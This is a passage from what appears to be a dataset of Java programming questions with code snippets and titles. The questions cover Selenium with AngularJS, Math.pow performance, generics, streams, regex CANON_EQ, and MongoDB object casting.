the variable because it is not globally defined and is buried somewhere inside AngularJS source code . I have tried to unminify the index and look for the variable but I can not seem to find it . I want to manually set the foo.bar variable through the JavascriptExecutor but can not get a reference to the variable . How would I find then set the variable ? If that seems like the wrong way to trigger this ng-click , I am open to ideas . I am sure Protractor has a way to handle this but this AngularJS application deployed in an enterprise environment and have been trying to get the business side to approve the tech for months . I am stuck with Selenium . Help ...","< div id= '' id '' ng-click= '' foo.bar = true ; '' > Set bar variable on foo object to true < /div > By upload = By.id ( `` id '' ) ; driver.findElement ( uploadCensus ) .click ( ) ; By upload = By.id ( `` id '' ) ; ( ( JavascriptExecutor ) driver ) .executeScript ( `` foo.bar = true ; '' , driver.findElement ( upload ) ) ;",Access AngularJS variable with Java Selenium JavascriptExecutor +Java,"BackgroundHaving noticed that the execution of a java program I am working on was slower than expected , I decided to tinker with the area of code which I thought may be causing the issue - a call to Math.pow ( x , 2 ) from within a for loop . Contrary to another questions on this site , a simple benchmark I created ( code at end ) found that replacing Math.pow ( x , 2 ) with x*x actually sped the loop up by almost 70 times : Note that I am aware that the benchmark is not perfect , and that the values should certainly be taken with a pinch of salt - the aim of the benchmark was to get a ballpark figure.The QuestionWhile the benchmark gave interesting results it did not model my data accurately , as my data consists largely of 0 's . Thus a more accurate test was to run the benchmark without the for loop marked optional . According to the javadoc for Math.pow ( ) If the first argument is positive zero and the second argument is greater than zero , or the first argument is positive infinity and the second argument is less than zero , then the result is positive zero.So it would be expected that this benchmark would run faster right ! ? In reality however , this is considerably slower again : Sure , one may expect the math.pow ( ) code to run a little slower than the simple x*x code due to the fact that it needs to work for the general case , but 700x slower ? What is going on ! ? And why is the 0 case so much slower than the Math.random ( ) case ? UPDATE : Updated code and times based on @ Stephen C 's suggestion . This however made little difference.Code used to benchmarkNote that reordering the two tests makes negligible difference .","x*x : 5.139383msMath.pow ( x , 2 ) : 334.541166ms x*x : 4.3490535msMath.pow ( x , 2 ) : 3082.1720006ms public class Test { public Test ( ) { int iterations = 100 ; double [ ] exampleData = new double [ 5000000 ] ; double [ ] test1Results = new double [ iterations ] ; double [ ] test2Results = new double [ iterations ] ; //Optional for ( int i = 0 ; i < exampleData.length ; i++ ) { exampleData [ i ] = Math.random ( ) ; } for ( int i = 0 ; i < iterations ; i++ ) { test1Results [ i ] = test1 ( exampleData ) ; test2Results [ i ] = test2 ( exampleData ) ; } System.out.println ( `` x*x : `` + calculateAverage ( test1Results ) / 1000000 + `` ms '' ) ; System.out.println ( `` Math.pow ( x , 2 ) : `` + calculateAverage ( test2Results ) / 1000000 + `` ms '' ) ; } private long test1 ( double [ ] exampleData ) { double total = 0 ; long startTime ; long endTime ; startTime = System.nanoTime ( ) ; for ( int j = 0 ; j < exampleData.length ; j++ ) { total += exampleData [ j ] * exampleData [ j ] ; } endTime = System.nanoTime ( ) ; System.out.println ( total ) ; return endTime - startTime ; } private long test2 ( double [ ] exampleData ) { double total = 0 ; long startTime ; long endTime ; startTime = System.nanoTime ( ) ; for ( int j = 0 ; j < exampleData.length ; j++ ) { total += Math.pow ( exampleData [ j ] , 2 ) ; } endTime = System.nanoTime ( ) ; System.out.println ( total ) ; return endTime - startTime ; } private double calculateAverage ( double [ ] array ) { double total = 0 ; for ( int i = 0 ; i < array.length ; i++ ) { total += array [ i ] ; } return total/array.length ; } public static void main ( String [ ] args ) { new Test ( ) ; } }","Poor performance of Java 's Math.pow ( x , 2 ) when x = 0" +Java,"I execute the following code and I get no errors , and in the output I see the Success ! message . Can you please explain this strange behaviour.You can check the online demo",public class Main { public static void main ( String [ ] args ) { int р = 0 ; int p = 1 ; if ( р == 0 & & p == 1 ) { System.out.println ( `` Success ! `` ) ; } },Why can two variables have the same name ? +Java,"There 's no limitation on the regular expression compiled with the Pattern.CANON_EQ . Howeverthrows an exception : Note that the pattern is the normalized string . It looks like a bug in JRE , but I ca n't find such a bug in the issue tracker .","Pattern.compile ( `` ( ? : \u00e9 ) '' , Pattern.CANON_EQ ) ; java.util.regex.PatternSyntaxException : Unmatched closing ' ) ' near index 11 ( ( ? : é ) |é ) |e ) ́ ) ^","Why does ` Pattern.compile ( `` ( ? : \u00e9 ) '' , Pattern.CANON_EQ ) ` throw ?" +Java,"This Java tutorialsays that an immutable object can not change its state after creation . java.lang.String has a fieldwhich is initialized on the first call of the hashCode ( ) method , so it changes after creation : outputIs it correct to call String immutable ?",/** Cache the hash code for the string */private int hash ; // Default to 0 String s = new String ( new char [ ] { ' ' } ) ; Field hash = s.getClass ( ) .getDeclaredField ( `` hash '' ) ; hash.setAccessible ( true ) ; System.out.println ( hash.get ( s ) ) ; s.hashCode ( ) ; System.out.println ( hash.get ( s ) ) ; 032,Is it correct to call java.lang.String immutable ? +Java,"I 'm trying to filter and reduce a List < Map < String , Object > > to List < String > with Java8 new lambdas by doing this : The result is a List but I want to combine all the Strings inside the array to the resulting List < String > .To clarify it , this is the result I 'm getting now : But I want this : Can someone give me a hint in which part I have to reduce the String [ ] to a String ? I 'd guess its on the .map ( ) part but I do n't know what I shall change there.edit : That 's how the List < Map < String , Object > > myObjects can be generated for testing purpose : Which looks like this : Note : That 's just an example from my unittest . The list normaly contains more than one element and every map has more attributs and not just some attribute .","List < Map < String , Object > > myObjects = new ArrayList < > ( ) ; myObjects.stream ( ) .filter ( myObject- > myObject.get ( `` some integer value '' ) .equals ( expectedValue ) ) // myObject.get ( `` some attribute '' ) == [ `` some string '' , `` maybe another string '' ] .map ( myObject- > myObject.get ( `` some attribute '' ) ) .collect ( Collectors.toList ( ) ) ; ArrayList { [ `` some string '' ] , [ `` another string '' ] } ArrayList { `` some string '' , `` another string '' } List < Map < String , Object > > myObjects = new ArrayList < > ( ) ; Map < String , Object > myObject = new HashMap < > ( ) ; myObject.put ( `` some integer value '' , 1 ) ; String [ ] theStringIWant = new String [ 1 ] ; theStringIWant [ 0 ] = `` Some important information I want '' ; myObject.put ( `` some attribute '' , theStringIWant ) ; myObjects.add ( myObject ) ; List < MyObject { `` some attribute '' : 1 } >",Reduce multiple arrays to a list +Java,"Why does the declaration look like this : I understand most of it . It makes sense that U can be anything as long as it 's comparable to a superclass of itself , and thus also comparable to itself.But I do n't get this part : Function < ? super T , ? extends U > Why not just have : Function < ? super T , U > Ca n't the U just parameterize to whatever the keyExtractor returns , and still extend Comparable < ? super U > all the same ?","default < U extends Comparable < ? super U > > Comparator < T > thenComparing ( Function < ? super T , ? extends U > keyExtractor )",Java thenComparing wildcard signature +Java,"Suppose a class exists as follows : JAVA is clearly opposed to something like the above , Borland C++ compiler issues a warning , MS VC++ does not complain.My question is : Should returning from a void function be logically ( theoretically ) correct ? as opposed to : or is it all implementation ( compiler/language ) dependent ?",class Foo { void do_after_something ( ) { //some code here return ; } void do_something ( ) { //some code here return do_after_something ( ) ; //returning another ( void ) function } } ; return do_after_something ( ) ; do_after_something ( ) ; return ;,Return from void function +Java,I tried to optimize the RAM usage of a Android game by changing int primitives to shorts . Before I did this I was interested in the performance of the primitive types in Java.So I created this little test benchmark using the caliper library.The results of the test surprised me.Test circumstancesBenchmark run under the Caliper library.Test resultshttps : //microbenchmarks.appspot.com/runs/0c9bd212-feeb-4f8f-896c-e027b85dfe3bInt 2.365 nsLong 2.436 nsShort 8.156 nsTest conclusion ? The short primitive type is significantly slower ( 3-4~ times ) than the long and int primitive type ? QuestionWhy is the short primitive significantly slower than int or long ? I would expect the int primitive type to be the fastest on a 32bit VM and the long and short to be equal in time or the short to be even faster.Is this also the case on Android phones ? Knowing that Android phones in general run in a 32bit environment and now the days more and more phones start to ship with 64bit processors .,public class BenchmarkTypes extends Benchmark { @ Param ( `` 10 '' ) private long testLong ; @ Param ( `` 10 '' ) private int testInt ; @ Param ( `` 10 '' ) private short testShort ; @ Param ( `` 5000 '' ) private long resultLong = 5000 ; @ Param ( `` 5000 '' ) private int resultInt = 5000 ; @ Param ( `` 5000 '' ) private short resultShort = 5000 ; @ Override protected void setUp ( ) throws Exception { Random rand = new Random ( ) ; testShort = ( short ) rand.nextInt ( 1000 ) ; testInt = ( int ) testShort ; testLong = ( long ) testShort ; } public long timeLong ( int reps ) { for ( int i = 0 ; i < reps ; i++ ) { resultLong += testLong ; resultLong -= testLong ; } return resultLong ; } public int timeInt ( int reps ) { for ( int i = 0 ; i < reps ; i++ ) { resultInt += testInt ; resultInt -= testInt ; } return resultInt ; } public short timeShort ( int reps ) { for ( int i = 0 ; i < reps ; i++ ) { resultShort += testShort ; resultShort -= testShort ; } return resultShort ; } },Why is the short primitive type significantly slower than long or int ? +Java,Ive been trying to develop this game where users have to click certain points on a image . Ive been storing these points based on their pixel locations . i can easily get the pixel pressed by getting the X and Y coordinates in the onTouch Event . But the problem im facing is that its practically impossible to press the exact location of the pixels every time ( So for testing purposes ive set a tolerance to 40 px in all 4 directions ) . So is there a way i can set some sort of tolerance which can be adjusted from the settings menu so that it can be used by people with diff finger sizes with ease and played from different screen sizes ? Any help or Suggestions is gratefully acceptedhere XMin and XMax are the min and max rage the X co-ordinate can be in and Ymin and Ymax are the min and max range of the Y co-ordinate.XCood and YCood are the a and y coordinates of the users touch .,"tolerance = 40public boolean onTouchEvent ( MotionEvent event ) { // MotionEvent object holds X-Y values if ( event.getAction ( ) == MotionEvent.ACTION_DOWN ) { int XCood = ( int ) event.getX ( ) ; int YCood = ( int ) event.getY ( ) ; int XMin = ActXCod [ index ] - tolerance , XMax = ActXCod [ index ] + tolerance , YMin = ActYCod [ index ] - tolerance , YMax = ActYCod [ index ] + tolerance ; if ( index < ( limit - 1 ) ) // loop to check number of images { if ( XCood > XMin & & XCood < XMax & & YCood > YMin & & YCood < YMax ) { //Do stuff } } }",how to Increase Area of touch by a certain percentage ? +Java,"I 'm trying to create a distributable module for Netbeans 7.1 which will contain a license template and some java templates . I 'm following the tutorial at Netbean 's support but they only talk about how to create an HTML template . If I create a java file to use as a template , the builder tries to compile the template and fails.My project looks like this : How do I get the builder to skip the Java template - or is there something else I should have done here ? It seems to be happy if I leave the JavaClass.java named JavaClass.html and build the module that way , but it shows up as an HTML file when I try to add it to a project through the New File wizard .",Netbeans Code Template Module + org.myorg.nbcodetemplates - Bundle.properties + org.myorg.nbcodetemplates.javaclass - JavaClass.java - JavaClassDescription.html - package-info.java + org.myorg.nbcodetemplates.license - LicenseDescription.html - license-myorg.txt - package-info.java,How do I create a distributable Java template for Netbeans 7.1 ? +Java,"Converting a list of objects Foo having an id , to a Map < Integer , Foo > with that id as key , is easy using the stream API : Is there any way to substitute the lambda expression : ( foo ) - > foo with something using the : : operator ? Something like Foo : :this","public class Foo { private Integer id ; private ... . getters and setters ... } Map < Integer , Foo > myMap = fooList.stream ( ) .collect ( Collectors.toMap ( Foo : :getId , ( foo ) - > foo ) ) ;",How to use : : operator as this reference +Java,Got a question regarding the usage of junit 's ExpectedException rule : As suggested here : junit ExpectedException Rulestarting from junit 4.7 one can test exceptions like this ( which is much better then the @ Test ( expected=Exception.class ) ) : Now I needed to test several exceptions in one test method and got a green bar after running the following test and thus thought every test passed . However after a while I realized that the testmethod is quit after the first check passes . This is ambiguous to say the least . In junit 3 this was easily possible ... So here is my question : How can I test several exceptions within one test using an ExpectedException Rule ?,"@ Rulepublic ExpectedException exception = ExpectedException.none ( ) ; @ Testpublic void testFailuresOfClass ( ) { Foo foo = new Foo ( ) ; exception.expect ( Exception.class ) ; foo.doStuff ( ) ; } @ Testpublic void testFailuresOfClass ( ) { Foo foo = new Foo ( ) ; exception.expect ( IndexOutOfBoundsException.class ) ; foo.doStuff ( ) ; //this is not tested anymore and if the first passes everything looks fine exception.expect ( NullPointerException.class ) ; foo.doStuff ( null ) ; exception.expect ( MyOwnException.class ) ; foo.doStuff ( null , '' '' ) ; exception.expect ( DomainException.class ) ; foo.doOtherStuff ( ) ; }",How can I test several exceptions within one test using an ExpectedException Rule ? +Java,I am unable to understand why following if blocks execute . How the if conditions will be evaluated ?,"public class Test { public static void main ( String [ ] args ) { if ( true || ( false || true ) & & false ) { System.out.println ( `` How does this condition becomes true . `` ) ; } if ( false & & ( false || true ) || true ) { System.out.println ( `` Same with this condition , why is it true . `` ) ; } } }",How a given if condition is giving true in java +Java,"Please explain me why if I use the raw type A in the method test ( ) , the get ( ) method on my typed list returns an Object and not a B. : If I declare the get ( ) method returns a B as expected .","public class test { public class B { } public class C { } public class A < T extends C > { private List < B > aBList ; public List < B > mGetBList ( ) { return aBList ; } } public test ( A pA ) // Use of raw type - this is bad , I know ! { B lB = pA.mGetBList ( ) .get ( 0 ) ; // Compile error : Type mismatch : // can not convert from Object to test.B } } public test ( A < ? > pA )",java : Use of Raw type as method parameter errases all parametrized type information in parameter members +Java,"As the title suggested , I have some code wrapped in a while ( true ) infinite loop , and all of them are fully caught by try and catch block . This thread is started in the main method , however , after long run , this worker thread is vanished mysteriously when I check using the jstack and causing work accumulated.Below is my code : For my understanding , this structure will keep the thread running so is the consumer . Even if the consume ( ) methods failed , it will restart infinitely . However , as I mentioned above , the whole thread disappear silently without any error log . Could anyone provide some clue please ? Some more information that might be helpful : I have checked the consume method will never shutdown the consumernor close the socket to the server . It will continuously try toconnect server after fail.I analysed the java heap dump , and I found there is a memory leaksomewhere else in the project , causing memory occupation extremelyhigh and the gc very often . However , the main method is stillrunning .","public void run ( ) { while ( true ) { try { // Consumer consumes from Kafka server Global.KAFKA_METRIC_DATA_CONSUMER.consume ( topic , handler ) ; } catch ( Exception e ) { logger.error ( `` Kafka consumer process was interrupted by exception ! `` ) ; } finally { try { // Prevent restart too often Thread.sleep ( 30 * BaseConst.SECOND ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } } }",Who killed My Java Infinite loop thread ? +Java,"I know , I can do several things in JEXL , but unable to find Filter feature in it , which is indeed very useful . How can I do something like","var x= [ { a:11 , b=5 } , { a:1 , b=15 } , { a:12 , b=25 } , { a:4 , b=35 } , { a:7 , b=45 } ] ; return x [ .a > 10 ] .b ; // Which filters to { a:11 , b=5 } & { a:12 , b=25 } // & hence returns [ 5,25 ]",Looking for JEXL Filter feature +Java,"I am having quarter end date of last quarter let it be 30-09-20 , the requirement is to find end date of next quarter i.e 31-12-20 . I am using below code to do the same but is it giving wrong output in some scenarios . This solution should be correct for all quarters .","String str = `` 30-09-20 '' ; SimpleDateFormat format = new SimpleDateFormat ( `` dd-MM-yy '' ) ; Date date = format.parse ( str ) ; Date newDate = DateUtils.addMonths ( date , 3 ) ; System.out.println ( newDate ) ; //Dec 30 - It should be 31 Dec",Find next quarter end date given previous quarter end date using Java +Java,"How can I send string data from Java to a C++ console application under Windows ? I am trying to do this : But I never see it on the C++ side when I do this : ReadFile never returns.What follows is further elaboration and sample code.I have written a simple C++ console ( Win32 ) application which reads from STDIN and performs actions based on input.Now I want to write a Java application to `` drive '' the C++ application . The Java applicaton should : Start the C++ application using Runtime.exec ( ) Write string data to the C++ app 's STDINRepeat until it 's time to die.My Java application seems to be working , but the C++ application never receives any data on STDIN . Here is the C++ application : And here is the Java side : The Java side seems to be working correctly , but I 'm not ever receiving the strings on the C++ side . Am I doing something wrong here ? How can I send string data from Java to a C++ console application under Windows ?","BufferedWriter bw = new BufferedWriter ( new OutputStreamWriter ( proc.getOutputStream ( ) ) ) ; String o = ... ; proc.getOutputStream ( ) .write ( o.getBytes ( ) ) ; ReadFile ( stdin_h , buf , sizeof ( buf ) , & bytes , 0 ) int main ( ) { ofstream f ( `` c : \\temp\\hacks.txt '' ) ; HANDLE stdin_h = GetStdHandle ( STD_INPUT_HANDLE ) ; DWORD file_type = GetFileType ( stdin_h ) ; if ( file_type ! = FILE_TYPE_CHAR ) return 42 ; f < < `` Pipe '' < < endl ; for ( bool cont = true ; cont ; ) { char buf [ 64*1024 ] = { } ; DWORD bytes = 0 ; if ( ReadFile ( stdin_h , buf , sizeof ( buf ) , & bytes , 0 ) ) { string in ( buf , bytes ) ; cout < < `` Got `` < < in.length ( ) < < `` bytes : ' '' < < in < < `` ' '' < < endl ; f < < `` Got `` < < in.length ( ) < < `` bytes : ' '' < < in < < `` ' '' < < endl ; if ( in.find ( ' Q ' ) ) cont = false ; } else { cout < < `` Err `` < < GetLastError ( ) < < `` while reading file '' < < endl ; f < < `` Err `` < < GetLastError ( ) < < `` while reading file '' < < endl ; } } } public static void main ( String [ ] args ) { Runtime rt =Runtime.getRuntime ( ) ; try { Process proc = rt.exec ( `` c : \\dev\\hacks\\x64\\debug\\hacks.exe '' ) ; BufferedWriter bw = new BufferedWriter ( new OutputStreamWriter ( proc.getOutputStream ( ) ) ) ; int a = 0 ; while ( a < 5 ) { String o = ( a == 4 ? `` Q\n '' : `` A\n '' ) ; proc.getOutputStream ( ) .write ( o.getBytes ( ) ) ; System.out.println ( `` Wrote ' '' + o + `` ' '' ) ; ++a ; } try { proc.waitFor ( ) ; // TODO code application logic here } catch ( InterruptedException ex ) { Logger.getLogger ( Java_hacks.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } } catch ( IOException ex ) { Logger.getLogger ( Java_hacks.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } }",Writing To C++ Console Application Spawned Within Java App Under Windows +Java,"While answering to a question about that here : https : //stackoverflow.com/a/9872630/82609I tried to do the following : It works ! But the following does n't : On the related question , i made the assumption : I guess it 's because initially the array contract may be something like this : If you create an array of type X , you will NEVER EVER be able to put anything in it that IS-NOT-AN X . If you try , you 'll get an ArrayStoreException Thus allowing arrays with generics creation would lead to a different rule like : If you create an array of type X < Y > , you will NEVER EVER be able to put anything that IS-NOT-AN X . If you try , you 'll get an ArrayStoreException . But you CAN add both X < Y > and X < Z > objects because of type erasure ! But thinking about it , would it really be a problem to have : I do n't really understand why it 's not possible , since using such a thing would : Check the classes inserted at runtime Check the classes type inserted at compile timeFinally we can use an array with generic type reference and because of the impossibility to create an array with a generic type , i think many people do not even know it 's possible.I just wonder if someone knows the reason behind this choice ? It 's a bit like forcing people to use List < String > = new ArrayList ( ) ; instead of using List < String > = new ArrayList < String > ( ) ; dimitrisli you gave a nice exemple from Joshua Bloch 's famous book.As you/he explained it , it is dangerous to use both generic arrays + covariance and could lead to ClassCastException while we expect ArrayStoreException from an array with use of covariance.But please notice the following is still legal and lead to the same : However it produces an unchecked cast warning at compile time , and as you mentionned , a ClassCastException at runtime .",Comparator < String > [ ] comparators = new Comparator [ ] { ... } ; Comparator < String > [ ] comparators = new Comparator < String > [ ] { ... } ; Comparator < String > [ ] comparators = new Comparator < String > [ ] { ... } ; List < String > [ ] stringLists = new List [ 1 ] ; List < Integer > intList = Arrays.asList ( 42 ) ; Object [ ] objects = stringLists ; objects [ 0 ] = intList ; String s = stringLists [ 0 ] .get ( 0 ) ;,Why can we use array with generic reference +Java,"Consider a directed graph , like this : Where , ( A ) initially , the solid black edges are asserted : 0 & rightarrow ; { 1,3 } 1 & rightarrow ; { 2 } 3 & rightarrow ; { 4 } 4 & rightarrow ; { 2 } Then ( B ) the transitive closure has then been computed to add the following ( dashed ) edges:0 & rightarrow ; { 2,4 } 3 & rightarrow ; { 2 } For any vertex in this final graph , how can I efficiently compute the 'immediate ' neighbors accessible by some edge which are n't accessible by a different , longer path ? The output I want is shown in ( A ) . I am not distinguishing between edges which were asserted ( bold ) or inferred ( dashed ) .Is there a well-known name to this problem , and is there a straightforward way of achieving this with JGraphT ? Thoughts : Perhaps this is possible by using a topological sort of the vertices , e.g . TS = [ 0,1,3,4,2 ] .Basically , I 'm thinking that ( v0 & rightarrow ; v1 ) is a solution when no other longer path ( v0 & rightarrow ; ... v2 ... & rightarrow ; v1 ) exists where v0 > v2 > v1 in the topological sort . Does this look correct , and/or is there a more efficient way ?","for ( i=0 , i < TS.len ; i++ ) { var v0 = TS [ i ] for ( j=i+1 ; i < TS.len ; j++ ) { var v1 = TS [ j ] if ( edge exists v0 - > v1 ) { var otherPath = false for ( k=i+1 ; k < j ; k++ ) { var v2 = TS [ k ] if ( path exists v0 - > v2 & & path exists v2 - > v1 ) { otherPath = true break } } if ( ! otherPath ) { record ( v0 - > v1 ) } } } }",Computing nearest vertex neighbors in a DAG completed by transitive-closure +Java,"Does the placement of calls to sequential ( ) and parallel ( ) change how a Java 8 stream 's pipeline is executed ? For example , suppose I have this code : In this example , it 's pretty clear that filter ( ) will run in parallel . However , what if I have this code : Does filter ( ) still run in parallel or does it run sequentially ? The reason it 's not clear is because intermediate operations like filter ( ) are lazy , i.e. , they wo n't run until a terminal operation is invoked like count ( ) . As such , by the time count ( ) is invoked , we have a parallel stream pipeline but is filter ( ) performed sequentially because it came before the call to parallel ( ) ?",new ArrayList ( ) .stream ( ) .parallel ( ) .filter ( ... ) .count ( ) ; new ArrayList ( ) .stream ( ) .filter ( ... ) .parallel ( ) .count ( ) ;,Does the ordering of calls to sequential ( ) and parallel ( ) matter when processing a Java 8 stream pipeline ? +Java,"i am working on a project that has an object called Vector2and would like to do the following : Is this possible ? If so how can I do it , and what is it called ? Thanks in advance .","public static class Vector2 { public Vector2 ( float x , float y ) { this.x = x ; this.y = y ; } public float x ; public float y ; public static Vector2 ZERO = new Vector2 ( 0 , 0 ) ; public static Vector2 FORWARD = new Vector2 ( 0 , 1 ) ; public static Vector2 LEFT = new Vector2 ( 1 , 0 ) ; public static float Distance ( Vector2 a , Vector2 b ) { return ( float ) Math.sqrt ( Math.pow ( a.x - b.x , 2 ) + Math.pow ( a.y - b.y , 2 ) ) ; } } Vector2 a = new Vector2 ( 2.32 , 453.12 ) ; Vector2 b = new Vector2 ( 35.32 , 532.32 ) ; Vector2 c = a * b ; // c.x = 2.32*35.32// c.y = 453.12*532.32float num = 5 ; c = a * num ; // c.x = 2.32*5// c.y = 453.12*5",Does Java support operator overloading ? +Java,"I went through local variables and class variables concept . But I had stuck at a doubt '' Why is it so that we can not declare local variables as static `` ? For e.gSuppose we have a play ( ) function : It gives me error in eclipse : Illegal modifier for parameter i ; I had this doubt because of the following concepts I have read : Variables inside method : scope is local i.e within that method . When variable is declared as static , it is present for the entire class i.e not to particular object . Please could anyone help me out to clarify the concept.Thanks .",void play ( ) { static int i=5 ; System.out.println ( i ) ; },Local variables in java +Java,"In C , I can create a static variable in a function . The space for that variable is not allocated along with the function variables , it 's allocated at program startup time . ( Do n't mock my C too harshly , I 've been programming in Java for way too long : ) In Java , if I want to do something similar , I create a class variable and then use it.My question is what is the best practice for doing something like this ? I 'd really like to associate my variable someStruct with my function myFunc , because myFunc is the only code that should know about or use someStruct , but there 's no way to make that association except to put the variable close to the function in code . If you put it above , then the Javadoc for the function looks wonky , if you put it below , then it 's not very clear that they belong together.Normally I would just create someStruct locally , but in my case it 's very expensive to create someStruct , and I call myFunc in a tight loop .","void myFunc ( ) { static SomeStruct someStruct ; someStruct.state=INITIALIZED ; goDoSomethingInteresting ( MY_COMMAND , & someStruct ) ; } Class TheClass { SomeStruct someStruct = new SomeStruct ( ) ; void myFunc ( ) { someStruct.setState ( INITIALIZED ) ; goDoSomethingInteresting ( MY_COMMAND , someStruct ) ; } }",Best practice for defining a Java variable that acts ( something ) like a C 's local static variable +Java,"I have a class that is similar to this : This class makes some expensive ( timewise ) calculations and acquires a lock . While the lock is hold no one can retrieve the data that will be updated by the calculation , so in effect they have to wait for the calculation to finish . The actual calculation is done in a separate thread.If I have the following code : The call to retrieve the data is blocked until the calculation is done . What exactly does waiting at this point mean ? Is it a busy waitingDoes the waiting thread yield , so other threads ( like the one doing the computation ) can proceed.Does the waiting thread go to sleep ? Is wait/notify invoked behind the scene ? I am aware that for this example I could use a Callable and Future , but that is beside the point . Is there a way to improve such code , to ensure no time resources are wasted ( like unnecessary thread switches ) ?",public class ExpensiveCalculation { private Executor threadExecutor = ... private Object lock = new Object ( ) ; private Object data = null ; public Object getData ( ) { synchronized ( lock ) { return data ; } } pulic void calculate ( ) { executor.execute ( ( ) - > internalCalculation ( ) ) ; } private void internalCalculation ( ) { synchronized ( lock ) { // do some long running calculation that in the end updates data data = new Object ( ) ; } } } ExpensiveCalculation calculation = ... calculation.calculate ( ) ; Object data = calculation.getData ( ) ;,How is the method waiting for the lock to be released ? +Java,I 'm currently working on Rest service migration from RestExpress to Jersey framework where I have to have the same output as RestExpress.Output : My requirement is to format attribute names as postedBy to posted_by . So expected outcome will be as follows .,"public class AnnouncementDTO { private String id ; private String title ; private String details ; private String postedBy ; private String permanent ; private String dismissible ; private String startDate ; private String endDate ; } ObjectWriter ow = new ObjectMapper ( ) .writer ( ) .withDefaultPrettyPrinter ( ) ; String json = ow.writeValueAsString ( announcementDTO ) ; { `` id '' : null , `` title '' : `` < font size=\ '' 3\ '' color=\ '' red\ '' > This is some text ! < /font > '' , `` details '' : `` < p > fhmdhd < /p > '' , `` postedBy '' : `` Portal , Administrator '' , `` permanent '' : null , `` dismissible '' : null , `` startDate '' : `` Jul 19 , 2014 , 04:44 AM IST '' , `` endDate '' : null , `` read '' : null } { `` title '' : '' < font size=\ '' 3\ '' color=\ '' red\ '' > This is some text ! < /font > '' , `` details '' : '' < p > fhmdhd < /p > '' , `` posted_by '' : '' Portal , Administrator '' , `` start_date '' : '' Jul 19 , 2014 , 04:44 AM ET '' }",How to convert Java Object to Json formatting attribute name +Java,"Please , describe what these n| = n > > > x 5 lines do ? I am not interested in what | or > > > operators do . I am interested in what that complex logic do under cover in a math language .",/** * Returns a power of two size for the given target capacity . */static final int tableSizeFor ( int cap ) { int n = cap - 1 ; n |= n > > > 1 ; n |= n > > > 2 ; n |= n > > > 4 ; n |= n > > > 8 ; n |= n > > > 16 ; return ( n < 0 ) ? 1 : ( n > = MAXIMUM_CAPACITY ) ? MAXIMUM_CAPACITY : n + 1 ; },HashMap.tableSizeFor ( ... ) . How does this code round up to the next power of 2 ? +Java,"I have 3 methods : I would expect that the method //3 invoke //2 but it does not , it invoke method //1 . Is there a mistake in what I expect ? *I use sdk 1.7.0_25 and Eclipse 4.3*","//1 -- check one itempublic static < T > void containsAtLeast ( String message , T expectedItem , Collection < ? extends T > found ) { if ( ! found.contains ( expectedItem ) ) Assert.fail ( `` ... '' ) ; } //2 -- check several itemspublic static < T > void containsAtLeast ( String message , Collection < ? extends T > expectedItems , Collection < T > found ) { for ( T exptetedItem : expectedItems ) containsAtLeast ( message , exptetedItem , found ) ; } //3 -- check several items , without message parameterpublic static < T > void containsAtLeast ( Collection < ? extends T > expectedItems , Collection < ? extends T > found ) { containsAtLeast ( null , expectedItems , found ) ; }",Generics vs . Method Overloading +Java,I have a service which must return person by some properties . And I see two strategies for naming these methods : The first one : or applying overloading rules do the following : Which is right according to java naming convention ?,"getPersonById ( int id ) getPersonByBirthDate ( Date date ) getPersonByBirthDateAndSex ( Date date , Sex sex ) getPersonByNameAndSex ( String name , Sex sex ) getPersonByBirthDateAndNameAndSex ( Date date , String name , Sex sex ) etc.. getPerson ( int id ) getPerson ( Date date ) getPerson ( Date date , Sex sex ) getPerson ( String name , Sex sex ) getPerson ( Date date , String name , Sex sex )",Java method naming conventions and overloading +Java,"I 'm teaching myself Java using one of the ebooks on Amazon . I was doing one of the lessons which does a `` benchmark '' of the computer . It does this by looping for a minute and calculating the results.It basically does n't show you anything for a minute until it 's done . So my was making a small modification to show a dot as a progress bar of sorts every few seconds . Normally this is a trivial thing , but something 's not right , and I do n't know what.What happens is miniIndex will reach the threshold I specified , and print the value of miniIndex and a period . Its then supposed to set miniIndex to zero so that counter can restart . But it does n't reset , and never increments again . It 's very odd behavior.Here is the code in its entirety :",class Benchmark { public static void main ( String [ ] arguments ) { long startTime = System.currentTimeMillis ( ) ; long endTime = startTime + 60000 ; long index = 0 ; // My inner index int miniIndex = 0 ; // while ( true ) { double x = Math.sqrt ( index ) ; long now = System.currentTimeMillis ( ) ; if ( now > endTime ) { break ; } index++ ; // my modification miniIndex++ ; if ( miniIndex > = 5000 ) { System.out.print ( miniIndex + `` . `` ) ; miniIndex = 0 ; } // end of my modification } System.out.println ( index + `` loops in one minute . `` ) ; } },Setting a variable back to zero +Java,"I 'm not sure where to start or what information is relevant please let me know what additional information may be useful in solving this problem.I am developing a simple cometd application and I 'm using mongodb as my storage backend . I obtain a single mongodb instance when the application starts and I use this instance for all queries . This is in fact recommended by the mongo java driver documentation as stated here : http : //www.mongodb.org/display/DOCS/Java+Driver+Concurrency . I was grasping at straws thinking that the issue had something to do with thread safety but according to that link mongodb is completely thread safe.Here 's where it gets interesting . I have a class that extends BasicDBObject.Next two skeleton classes that extend MyBasicDBObject.The only reason I 've set up my classes this way is to improve code readability in dealing with these two objects within the same scope . This lets me do the following ... The UtilityClass does exactly as the methods are named , bitwise & and bitwise ^ by iterating over the passed byte arrays.This is where I 'm totally lost . updateMapObjectsFoo ( ) works exactly as expected , both first and second reflect the changes in the database . updateMapObjectsBar ( ) on the other hand only manages to properly update first.Inspection via debugging updateMapObjectsBar ( ) shows that the binary objects are in fact updated properly on both objects , but when I head over to the mongo shell to investigate the problem I see that first is updated in the DB and second is not . Where did I get the idea that thread safety had anything to do with it ? The only difference that bugs me is that secondCollection is used by other cometd services while firstCollection is not . That seems relevant in one hand , but not in the other since Foo works and Bar does not.I have torn the code apart and put it back together and I keep coming back to this same problem . What in the world is going on here ? It seems I left out the most relevant part of all which is the nightmare of java generics and the mongodb driver 's reliance on this feature of the language . BasicDBObject is essentially a wrapper for a Map < String , Object > . The problem is that once you store an object in that map , you must cast it back to what it was when you put it in there . Yes that may seem completely obvious , and I knew that full well before posting this question . I can not pinpoint what happened exactly but I will offer this advice to java + mongodb users . You will be casting , A LOT , and the more complicated your data structures the more casts you will need . Long story short , do n't do this : One liners are tempting when you are doing rapid prototypes but when you start doing that over and over you are bound to make mistakes . Write more code now , and suffer less frustration later : I think this is annoyingly verbose but I should expect as much interacting directly with Mongo instead of using some kind of library to make my life easier . I have made a fool of myself on this one , but hopefully someone 